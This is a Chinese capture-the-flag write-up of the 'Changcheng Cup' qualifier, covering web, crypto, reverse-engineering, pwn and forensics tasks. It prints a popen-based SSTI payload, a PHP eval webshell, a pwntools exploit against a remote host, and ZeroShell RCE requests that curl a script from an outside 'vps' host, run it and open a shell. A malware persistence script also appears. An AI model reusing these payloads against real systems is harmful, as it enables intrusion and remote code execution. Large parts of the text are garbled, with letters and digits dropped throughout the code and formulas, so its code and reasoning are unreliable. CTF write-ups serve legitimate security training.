您现在的位置是:首页 > 编程 > 

第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP

2025-07-28 08:56:06
第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP 第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUPWeb0x00 Safe_Proxy代码语言:python代码运行次数:0运行复制from flask import Flask, request, render\_template\_string import socket import threading import html

第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP

第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP

Web

0x00 Safe_Proxy代码语言:python代码运行次数:0运行复制
from flask import Flask, request, render\_template\_string
import socket
import threading
import html

app = Flask(\_\_name\_\_)

@app.route('/', methods=["GET"])
def source():
    with open(\_\_file\_\_, 'r', encoding='utf-8') as f:
        return '<pre>'+(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template\_code = request.form.get("code")
    # 安全过滤
    blacklist = ['\_\_', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template\_code:
            return "Forbidden content detected!"
    result = render\_template\_string(template\_code)
    print(result)
    return 'ok' if result is not one else 'error'

class HTTPProxyHandler:
    def \_\_init\_\_(self, target\_host, target\_port):
        \_host = target\_host
        \_port = target\_port

    def handle\_request(self, client\_socket):
        try:
            request\_data = b""
            while True:
                c = client\_socket.recv(4096)
                request\_data += c
                if len(c) < 4096:
                    break

            if not request\_data:
                client\_()
                return

            with socket.socket(socket.AF\_IET, socket.SOCK\_STREAM) as proxy\_socket:
                proxy\_((\_host, \_port))
                proxy\_socket.sendall(request\_data)

                respe\_data = b""
                while True:
                    c = proxy\_socket.recv(4096)
                    if not c:
                        break
                    respe\_data += c

            header\_end = respe\_data.rfind(b"\r\n\r\n")
            if header\_end != -1:
                body = respe\_data[header\_end + 4:]
            else:
                body = respe\_data
 
            respe\_body = body
            respe = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(respe\_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + respe\_body

            client\_socket.sendall(respe)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client\_()

def start\_proxy\_server(host, port, target\_host, target\_port):
    proxy\_handler = HTTPProxyHandler(target\_host, target\_port)
    server\_socket = socket.socket(socket.AF\_IET, socket.SOCK\_STREAM)
    server\_socket.bind((host, port))
    server\_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target\_host}:{target\_port}...")

    try:
        while True:
            client\_socket, addr = server\_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy\_handler.handle\_request, args=(client\_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server\_()

def run\_flask\_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if \_\_name\_\_ == "\_\_main\_\_":
    proxy\_host = "0.0.0.0"
    proxy\_port = 5001
    target\_host = "127.0.0.1"
    target\_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy\_thread = threading.Thread(target=start\_proxy\_server, args=(proxy\_host, proxy\_port, target\_host, target\_port))
    proxy\_thread.daemon = True
    proxy\_thread.start()

    print("Starting Flask app...")
    run\_flask\_app()

考了ssti

在/路由会有两种处理

使用get访问会读取当前的python脚本的内容 并返回源码

使用post方法会获取code的内容 黑名单进行过滤 然后渲染模板

绕过过滤

blacklist = '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'

当前是无回显的ssti

我们要进行无回显的绕过 构造

我们可以使用fenjing来自动构造payload

我们有黑名单 我们可以本地起一个ssti

代码语言:python代码运行次数:0运行复制
from flask import Flask, request, render\_template\_string
import socket
import threading
import html

app = Flask(\_\_name\_\_)

@app.route('/', methods=["GET"])
def source():
    with open(\_\_file\_\_, 'r', encoding='utf-8') as f:
        return '<pre>'+(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template\_code = request.form.get("code")
    # 安全过滤
    blacklist = ['\_\_', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template\_code:
            return "Forbidden content detected!"
    try:
        result = render\_template\_string(template\_code)
        return result  # 直接返回渲染后的模板内容
    except Exception as e:
        return f"Error: {str(e)}"  # 返回错误信息

class HTTPProxyHandler:
    def \_\_init\_\_(self, target\_host, target\_port):
        \_host = target\_host
        \_port = target\_port

    def handle\_request(self, client\_socket):
        try:
            request\_data = b""
            while True:
                c = client\_socket.recv(4096)
                request\_data += c
                if len(c) < 4096:
                    break

            if not request\_data:
                client\_()
                return

            with socket.socket(socket.AF\_IET, socket.SOCK\_STREAM) as proxy\_socket:
                proxy\_((\_host, \_port))
                proxy\_socket.sendall(request\_data)

                respe\_data = b""
                while True:
                    c = proxy\_socket.recv(4096)
                    if not c:
                        break
                    respe\_data += c

            header\_end = respe\_data.rfind(b"\r\n\r\n")
            if header\_end != -1:
                body = respe\_data[header\_end + 4:]
            else:
                body = respe\_data

            respe\_body = body
            respe = b"HTTP/1.1 200 OK\r\n" \
            b"Content-Length: " + str(len(respe\_body)).encode() + b"\r\n" \
            b"Content-Type: text/html; charset=utf-8\r\n" \
            b"\r\n" + respe\_body

            client\_socket.sendall(respe)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client\_()

def start\_proxy\_server(host, port, target\_host, target\_port):
    proxy\_handler = HTTPProxyHandler(target\_host, target\_port)
    server\_socket = socket.socket(socket.AF\_IET, socket.SOCK\_STREAM)
    server\_socket.bind((host, port))
    server\_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target\_host}:{target\_port}...")

    try:
        while True:
            client\_socket, addr = server\_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy\_handler.handle\_request, args=(client\_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server\_()

def run\_flask\_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if \_\_name\_\_ == "\_\_main\_\_":
    proxy\_host = "0.0.0.0"
    proxy\_port = 5001
    target\_host = "127.0.0.1"
    target\_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy\_thread = threading.Thread(target=start\_proxy\_server, args=(proxy\_host, proxy\_port, target\_host, target\_port))
    proxy\_thread.daemon = True
    proxy\_thread.start()

    print("Starting Flask app...")
    run\_flask\_app()

我们改成了有回显的ssti

本地运行

使用fenjing梭哈

提交表单完成,返回值为200,输入为{'code': "{%print g.pop'_'*2+'globals'+'_'*2'_'*2+'i''mport'+'_'*2'p''open'.read()%}"},表单为{'action': '/', 'method': 'POST', 'inputs': {'code'}}

得到payload

url编码 运行

get访问路由/

就会访问app.py

我们就可以访问到flag

flag{0c51897-d0c-49c1-bb4f-44f074f484c}

0x01 hello_web

发现 ../hackme.php

文件包含 ../hackme.php

但访问不到

有过滤 尝试绕过过滤

可以双写然后绕过过滤....//hackme.php

.php?file=....//hackme.php

查看上一级目录

查看tips

代码语言:php复制
<?php
  highlight\_file(\_\_FILE\_\_);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%6%7%77%6F4%2B%667%6A");
$YwzIst=$lapUCm{}.$lapUCm{6}.$lapUCm{}.$lapUCm{0};$OxirhK=$lapUCm{}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{1};$YwzIst.=$lapUCm{22}.$lapUCm{6}.$lapUCm{29}.$lapUCm{26}.$lapUCm{0}.$lapUCm{2}.$lapUCm{5}.$lapUCm{26}.$lapUCm{0};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUF2anJGeldaeWIWGZkYXVrcUdnd05wdElCS2lEchRXpxQlprTVVWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IURDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYRZF0hOCtPeD09IjtldmFsKCc/PicuJFleklzdCgkThpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

逐层输出

代码语言:php复制
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU\*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

获取密码

代码语言:php复制
<?php
highlight\_file(\_\_FILE\_\_);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%6%7%77%6F4%2B%667%6A");
$YwzIst=$lapUCm{}.$lapUCm{6}.$lapUCm{}.$lapUCm{0};$OxirhK=$lapUCm{}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{1};
$YwzIst.=$lapUCm{22}.$lapUCm{6}.$lapUCm{29}.$lapUCm{26}.$lapUCm{0}.$lapUCm{2}.$lapUCm{5}.$lapUCm{26}.$lapUCm{0};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUF2anJGeldaeWIWGZkYXVrcUdnd05wdElCS2lEchRXpxQlprTVVWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IURDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYRZF0hOCtPeD09IjtldmFsKCc/PicuJFleklzdCgkThpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU\*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>

</code><?php @eval($\\\_POST['cmd\\\_66.99']); ?>

非法字符传参 用[绕过

cmd[66.99

蚁剑连接

/var/run/log/1c448004444d2791e0661fa2f216b20/flag

到flag

flag{7cc8ccc6-fcaf-4446-9f8-e1de21c0da97}

Crypto

0x00 rasnd

题目:

代码语言:python代码运行次数:0运行复制
from Crypto. import getPrime, bytes\_to\_long  
from random import randint  
import os  

FLAG = os.getenv("FLAG").encode()  
flag1 = FLAG[:15]  
flag2 = FLAG[15:]  

def crypto1():  
    p = getPrime(1024)  
    q = getPrime(1024)  
    n = p  q  
    e = 0x10001  
    x1=randint(0,211)  
    y1=randint(0,2114)  
    x2=randint(0,211)  
    y2=randint(0,2514)  
    hint1=x1p+y1q-0x114  
    hint2=x2p+y2q-0x514                      
    c = pow(bytes\_to\_long(flag1), e, n)  
    print(n)  
    print(c)  
    print(hint1)  
    print(hint2)  

def crypto2():  
    p = getPrime(1024)  
    q = getPrime(1024)  
    n = p  q  
    e = 0x10001  
    hint = pow(514p - 114q, n - p - q, n)  
    c = pow(bytes\_to\_long(flag2),e,n)  
    print(n)  
    print(c)  
    print(hint)  
print("==================================================================")  
crypto1()  
print("==================================================================")  
crypto2()  
print("==================================================================")

flag分为两部分,第一部分用4个随机数与p,q组成了两个等式,我们要利用这两个等式求出p,q来解第一部分的flag,我们知道hint1 和 hint2 是与 p 和 q 相关的线性组合,hint1=x1_p+y1_q-0x114 hint2=x2_p+y2_q-0x514,这两个等式可以表示为hint1=x1⋅p+y1⋅q+C1,hint2=x2⋅p+y2⋅q+C2,其中C1 和 C2 是常数,根据数论的性质,如果 a 和 b 是两个整数,且 d=gcd⁡(a,b)那么d 也是 a 和 b 的任何线性组合的因子,这意味着:如果我们能够构造出两个: k 和 w 的线性组合,使得包含 p 或 q 的因子,这里需要爆破,那么gcd(k−w,n) 将会返回一个因子,这里我假设返回的是n的一个因子,后面发现还真的是。nc获取数据:

第一部分解密脚本:

代码语言:python代码运行次数:0运行复制
from tqdm import trange  
from Crypto. import   
from gmpy2 import   

n= 1808801167158976982165525440866228985114080576725768019061415671826851944452212265125890986694640402674951858999872175080247892114982594521092145567149128570124082966625646952868612524015209265124559155464994147875662057509821566076816579297882757864268166056115267751689965490516009150901987185126194922227822690501171051789911005174685812989180420262782556796674721842512008870012546120060985779101952154697082271457880772958870074664617042662684024821178579951107211197510146740019549711611948589270670049148697150788171556571011518294564256286758709959894519281526  
c = 967226129204917951059961214856872050798624795579447289221642511008002805280454789400291916080267724560275424484528011592619544974299867709529677906540570917140752621621849467071470092015059828199546950744229618882778604852910046402244856048524492616127009927565758861648180165779902448272404465691765009519984751672074242205420702879678250184762759411967155111477701016670617854962067657886245546694215902060492147587555920715926280872070294209575005520269746827062788802610986127996615206689556984879122114975621546907715647227084898020547874882  
hint1 = 1876778888142006774421295766759967064686199080491125059254462974942708097254945959078790790069180481182857069981792229544125999224768079227142591297784811812549649176850872826544202576189422178425571060216558942910549725109851649650098921170981042077682870660210271492578841507474415884181541299691978811009281  
hint2 = 45771442957060648412914611409444775811879541948946275999994972172561702229741058762926787116204596868500890648825426951660419879780782092129212780504069962868026895248169765108100979971844489641980452900179001092641108224659967657954521440648157614121104087246151217148795476070667586668270257666908970718869551812041544718060196177605478481075885401565047589578754246557060545124917121668686072249829598619089018694485118  

for i in trange(211):  
    for w in range(211):  
        k = (hint1 + 0x114)  i  
        w = (hint2 + 0x514)  w  
        l = gcd(k - w, n)  
        if l != 1 and isPrime(l):  
            p = l  
            q = n // p  
            d = inverse(6557, (p - 1)  (q - 1))  
            m = pow(c, d, n)  
            print(long\_to\_bytes(m).decode())

RSA 加密中的参数推导与求解

在 RSA 加密中,主要有以下几个参数:

  • 模数 (n):由两个大素数 p 和 q 的乘积构成,即
  • 公钥指数 (e):通常是一个小的常数(如 6557),用于加密过程
  • 私钥 (d):用于解密过程,通常通过

计算得出

线性组合的构造

我们可以构造一个线性组合,比如:

这个组合可以看作是 p 和 q 的某种关系,我们可以将其视为一个新的变量 k。

计算 hint

我们要计算的 hint 是:

这表示将

提升到

的幂,然后对 n 取模。

推导过程

根据 RSA 的性质,我们知道:

因此

可以表示为:

计算 hint

将 k 代入 hint 的计算中:

解释 hint

这个 hint 的计算实际上是将

的结果提升到

的幂,并对 n 取模。这个操作在 RSA 中是合法的,因为我们在模 n 的范围内进行运算。

从 hint 的定义出发

这意味着:

求逆

如果我们想要得到

,我们可以通过求逆来实现:

这意味着:

所以可以利用这个关系组成个等式,来求出两个未知数。

代码实现

下面是使用 Python 和 Z Solver 来求解 p 和 q 的代码:

代码语言:python代码运行次数:0运行复制
from Crypto. import inverse, long\_to\_bytes
from z import Ints, Solver, sat

n = 1927046918014977261926805208190524592250810115109777149112570556666751141996751197546664966014556774615485949089804617588505700925109196282215644541767482270242118646267081177169262409758477448146972497188062608600218091297957425470560977979161252720121595897141074545145914400212447088811986171486174189890050594580069228202566128478780154494981747996566920221591419045264649608988242490897579792951780055051016688792692796182966948860241612244642741597658758777488950156505928602525128626424299704498991187170451016088057274704264519519592545865055201
c = 179222697929190200546152157447759681262419562664772597511674645027165054217088700712694858119752992795164582190860512062757750488654816499462778116196471916907951607149902010181470999189127770424498490096501950489912241610809252912279421092456126250665522781816557706705271515820409886214752056987670727215247007586110492527467994925962509290942227801261486111298567902002741642247280600001959804826678014421448509977961661529686741279522620207142790027728694189211475810569809600589965085625241546561252121040044921520878948500002980889791088501992627049267597054
hint = 19269299988801818080182785526912764842828900490768978918597015048165655791700219166896729479721717081850027576975145920076792641715979
0x01 fffffhash

__题目:

代码语言:python代码运行次数:0运行复制
import os  
from Crypto. import   
def giaogiao(hex\_string):  
    base\_num = 0x6c62272e07bb014262b821756295c58d  
    x = 0x000000000100000000000000000001b  
    MOD = 2\*128  
    for i in hex\_string:  
       base\_num = (base\_num  x) & (MOD - 1)   
       base\_num ^= i  
    return base\_num  
 
 
giao=20141456072442299476166749810895688  
 
print("1geiwoligiaogiao")  
hex\_string = int(input(),16)  
s = long\_to\_bytes(hex\_string)  
 
if giaogiao(s) == giao:  
    print(os.getenv('FLAG'))  
else:  
    print("error")

审计可得:giaogiao 函数是一个自定义的哈希函数,接受一个十六进制字符串作为输入,使用乘法和异或操作来处理输入的字节,并返回一个计算结果,程序提示输入一个十六进制字符串,将其转换为字节,然后调用 giaogiao 函数进行计算,最后与预定义的常量 giao 进行比较,如果匹配,则输出环境变量 FLAG 的值,否则输出错误信息,这题想要采用爆破几乎是不可能的,所以还是得采用技巧,我们可以利用线性代数中的矩阵运算和数论中的模运算来进行解密,在解密代码中构建了一个矩阵 M,并通过增广和应用 BKZ(Block Korkin-Zolotarev)算法来处理这个矩阵,BKZ 算法是一种用于解决整数线性规划问题的算法,通常用于寻短向量或近似最优解,然后通过对矩阵的行进行操作,到一个有效的解,这个解是通过线性组合得到的,总的来说就是通过构建和操作矩阵、应用算法和利用位运算的特性,能够有效地进行解密。解密脚本:

代码语言:python代码运行次数:0运行复制
key = 0x6c62272e07bb014262b821756295c58d  
p\_value = 0x000000000100000000000000000001b 
limit = 2 ^ 128  # 模数

wpk\_value = 20141456072442299476166749810895688  # 目标值

n = 20  # 矩阵的维度

创建矩阵 M,包含 p 的幂和目标值的计算
M = ([p\_value^(n - i - 1) for i in range(n)] + [-(wpk\_value - key  p\_value ^ n), limit])
M = M.augment(identity\_matrix(n + 1).stack(vector([0]  (n + 1))))  # 增广矩阵
Q = Matrix.diagonal([2^256] + [2^8]  n + [2^16])  # 对角矩阵
M = Q  # 矩阵乘法
M = M.BKZ()  # 应用 BKZ 算法
M /= Q  # 归一化


遍历矩阵 M,寻满足条件的行
for row in M:
    if row[0] == 0 and abs(row[-1]) == 1:
        row = row[-1]  
        valid\_solution = row[1:-1] 
        break

answers = []  # 存储答案
y\_value = int(key  p\_value) 
t\_value = (key  p\_value ^ n + valid\_solution[0]  p\_value ^ (n - 1)) % limit  # 
for i in range(n):
    for x in range(256):
        y\_temp = (int(y\_value) ^^ int(x))  p\_value ^ (n - i - 1) % limit  # 计算 y\_temp
        if y\_temp == t\_value: 
            answers.append(x)  
            if i < n - 1:
                t\_value = (t\_value + valid\_solution[i + 1]  p\_value ^ (n - i - 2)) % limit  
                y\_value = ((int(y\_value) ^^ int(x)) \* p\_value) % limit  # 更新 y
            break

print(bytes(answers).hex())

结果得到:1df2006d2e6215d001f5102a7c2a0a591516,输入这个就可以得到flag

RE

0x00 ezCsky

ida正常无法打开,需要这样

(这样也不完全可以,连着的几个都试试,换换版本,这里用的8.和9.0来回对照的看)

到一个key,和密文,

发现一个rc4c_crpyt猜测是rc4加密,数据去猜

密文

key

套个板子,发现是乱码,但最后一位是},猜测是倒序按位异或,试了一下,果然

exp

代码语言:python代码运行次数:0运行复制
class RC4:
    def \_\_init\_\_(self, key):
        self.S = list(range(256))  # 初始化状态向量
        self.key = [ord(char) for char in key]  # 将密钥转换为整数列表
        self.ksa()  # 执行密钥调度算法

    def ksa(self):
        """Key-Scheduling Algorithm (KSA)"""
        j = 0
        for i in range(256):
            j = (j + self.S[i] + self.key[i % len(self.key)]) % 256
            self.swap(self.S, i, j)

    def rpga(self, length):
        """Pseudo-Random Generation Algorithm (PRGA)"""
        i = j = 0
        keystream = []
        for \_ in range(length):
            i = (i + 1) % 256
            j = (j + self.S[i]) % 256
            self.swap(self.S, i, j)
            keystream.append(self.S[(self.S[i] + self.S[j]) % 256])
        return keystream

    def swap(self, s, i, j):
        """交换 S[i] 和 S[j]"""
        s[i], s[j] = s[j], s[i]

    def encrypt\_decrypt(self, data):
        """加密或解密数据"""
        if isinstance(data, list):  # 如果输入是整数列表,先转换为字节
            data = bytes(data)
        keystream = self.rpga(len(data))
        result = bytearray()
        for i in range(len(data)):
            result.append(data[i] ^ keystream[i])  # 按位异或
        return result


# 使用示例
encoded\_key = [
    0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,
    0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,
    0x6, 0x9E, 0x5B, 0xD, 0xD9, 0x28, 0xF, 0xC8, 0x7, 0x06,
    0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA, 0x2, 0xAE, 0xCA, 0x40,
    0xED, 0xD1
]
key = "testkey"
rc4 = RC4(key)

# 解密数据
decrypted\_data = \_decrypt(encoded\_key)

flag = bytearray(decrypted\_data)
for i in range(len(flag) - 1, 0, -1):
    flag[i - 1] ^= flag[i]

# 输出结果
print("Decrypted Flag (as bytes):", flag)
try:
    print("Decrypted Flag (as string):", flag.decode('utf-8'))
except UnicodeDecodeError:
    print("Decrypted Flag is not valid UTF-8.")
0x01 dump

可以看的出来是命令行传参

尝试动调

这里才是最后加密的地方,不过是逐字符加密,并且会输出密文,直接爆破

代码语言:c代码运行次数:0运行复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX\_OUTPUT\_LE 1024
#define EC\_LE 22
#define FLAG\_LE 22

ct char \*enc[EC\_LE] = {
    "2", "29", "1e", "24", "8", "0e", "15", "20", "7", "0e", 
    "05", "20", "00", "0e", "7", "12", "1d", "0f", "24", "01", "01", "9"
    };

ct char printable[] = "012456789ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"#$%&'()\*+,-./:;<=>?@[\\]^\_`{|}~ ";

int main() {
    char flag[FLAG\_LE + 6] = "flag{";
    int index = 5;
    char output[MAX\_OUTPUT\_LE];
    FILE \*fp;

    for (int i = 0; i < 17; i++) {
        for (int j = 0; printable[j] != '\0'; j++) {
            snprintf(flag + strlen(flag), 2, "%c", printable[j]);
            fp = popen(flag, "r");

            if (fp == ULL) {
                perror("popen failed");
                return 1;
            }

            fgets(output, MAX\_OUTPUT\_LE, fp);
            fclose(fp);

            int len = strlen(output);
            if (len >= (index + 1) \* 2) {
                char hex\_pair[] = {output[index \* 2], output[index \* 2 + 1], '\0'};
                if (strcmp(hex\_pair, enc[index]) == 0) {
                    printf("%c", printable[j]);
                    flag[strlen(flag) - 1] = printable[j];
                    index++;
                    break;
                }
            }
        }
    }

    printf("\nFinal flag: %s\n", flag);
    return 0;
}

PW

0x00 anote

先check⼀下:

没有开启PIE。本题主要有add,edit,show函数没有free函数。

分析对于add函数,会创建⼀个0x20⼤⼩的c。

show函数就是输出c的内容

这⾥有个gift,会输出heap的地址。后续可以利⽤对于edit函数:漏洞点这⾥有个gift,会输出heap的地址。后续可以利⽤对于edit函数:漏洞点

这⾥有个函数调⽤的漏洞 当我们构造如下c时:

由于(void ( cdecl )(_DWORD))(&ptr_c + idx),所以会调⽤backdoor函数。然后执⾏我们的shell代码,进⽽命令执⾏EXP:

代码语言:python代码运行次数:0运行复制
from pwn import \*
context(log\_level='debug',arch='i86', os='linux')
pwnfile = "./note"
io = remote("9.106.48.12",458)
#io = process(pwnfile)
elf = ELF(pwnfile)
def add():
 io.sendlineafter(b"Choice>>",b"1")
def show(idx):
 io.sendlineafter(b"Choice>>",b"2")
 io.sendlineafter(b"index: ",str(idx))
def edit(idx,data):
 io.sendlineafter(b"Choice>>",b"")
 io.sendlineafter(b"index: ",str(idx))
 io.sendlineafter(b"len: ",str(len(data)))
 io.recvuntil(b"content: ")
 io.sendline(data)
backdoor\_addr = 0x080489CE
add()
add()
show(0)
io.recvuntil(b"gift: 0x")
gift\_addr = int(io.recv(7),16)
print("gift----------------> :",hex(gift\_addr))
edit(0,p2(backdoor\_addr)+p2(0)\*4+p2(0x21)+p2(gift\_addr+8))
edit(1,b"aaaa")
io.interactive()

威胁检测与网络流量分析

0x00 zeroshell_1

先用工具梭哈一下,一下字符串

到了一个base64加密的flag字符串

ZmxhZs2QzJFMzhEQS1EOEU0LThEODQtEE0Ri1FMkFCRDAQTFGM0F9

解码得到flag

0x01 zeroshell_2

wireshark语法过滤到对应的http流分析payload

frame contains "ZmxhZs2QzJFMzhEQS1EOE"过滤包含flag的包

追踪http流

拿到payload

代码语言:http复制
GET /cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A' HTTP/1.1

明显看出是一个rce的payload

代码语言:http复制
GET /cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A' HTTP/1.1

先弹个shell到服务器方便后续操作,然后到flag文件

代码语言:http复制
http://61.19.2.100/cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27curl%20http://vps:6677/a.sh%20-o%20/tmp/a.sh%27%0A%27
代码语言:http复制
http://61.19.2.100/cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27/tmp/a.sh%27%0A%27
代码语言:bash复制
bash-4.# find / -name flag\* 2>/dev/null
/DB/\_DB.001/flag
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/ETH00/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pnp0/00:05/tty/ttyS0/flags
/sys/devices/virtual/net/bond/flags
/sys/devices/virtual/net/ip6tnl0/flags
/sys/devices/virtual/net/bond1/flags
/sys/devices/virtual/net/sit0/flags
/sys/devices/virtual/net/dummy1/flags
/sys/devices/virtual/net/bond8/flags
/sys/devices/virtual/net/DEFAULTBR/flags
/sys/devices/virtual/net/bond6/flags
/sys/devices/virtual/net/VP99/flags
/sys/devices/virtual/net/bond4/flags
/sys/devices/virtual/net/bond2/flags
/sys/devices/virtual/net/bond0/flags
/sys/devices/virtual/net/bond9/flags
/sys/devices/virtual/net/dummy0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/bond7/flags
/sys/devices/virtual/net/bond5/flags
/Database/flag
bash-4.# cat /Database/flag
c6045425-6e6e-41d0-be09-95682a4f65c4
0x02 zeroshell_

注意到tmp目录下有个隐藏文件.nginx很可疑,因此对其分析,导出到本地然后ida反编译

查看了字符串看到一个ip和一个字符串

到对应位置

函数开头存在/bin/bash可以大胆猜测就是外联的恶意木马

外联ip为202.115.89.10

0x0 zeroshell_4

同上题分析 ,恶意外联文件为.ngxin文件

0x04 zeroshell_5

同第三题分析,ida中IP下面有一串可疑字符串

输入ida获取到的字符串发现正确就是密钥

112244qweasdzxc

0x05 zeroshell_6

在shell中不断查询文件,寻包含".nginx"字符串的文件,最终在/var主目录下到

代码语言:bash复制
bash-4.# grep -r '.nginx' /var     
/var/register/system/startup/scripts/nat/File:cp /Database/.nginx /tmp/.nginx
/var/register/system/startup/scripts/nat/File:chmod +x /tmp/.nginx
/var/register/system/startup/scripts/nat/File:/tmp/.nginx
grep: /var/register/system/startup/scripts/wireless/File: o such file or directory
grep: /var/register/system/startup/scripts/preboot/File: o such file or directory
grep: /var/run/acpid.socket: o such device or address
bash-4.# cat /var/register/system/startup/scripts/nat/File
cp /Database/.nginx /tmp/.nginx
chmod +x /tmp/.nginx
/tmp/.nginxbash-4.#

/var/register/system/startup/scripts/nat/File文件复制到/tmp目录然后给了执行权限并执行,所以就是启动文件

0x06 WinFT_1

看到hosts文件里有

猜测端口为80或44

flag{miscsecure:192.168.116.10:44}

0x07 WinFT_2

计划任务中到了字符串

base64解码

html解码

ice,flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

0x08 WinFT_5

将流量包放到随波逐流里

然后进行分析 然后foremost提取出文件

提取出来了zip

用winrar打开

看文件的备注信息 发现了密码

5pe26Ze057q/5YWz6IGU6Z2e5bi46Ye6KaB

时间线关联非常重要

密码 解压出flag

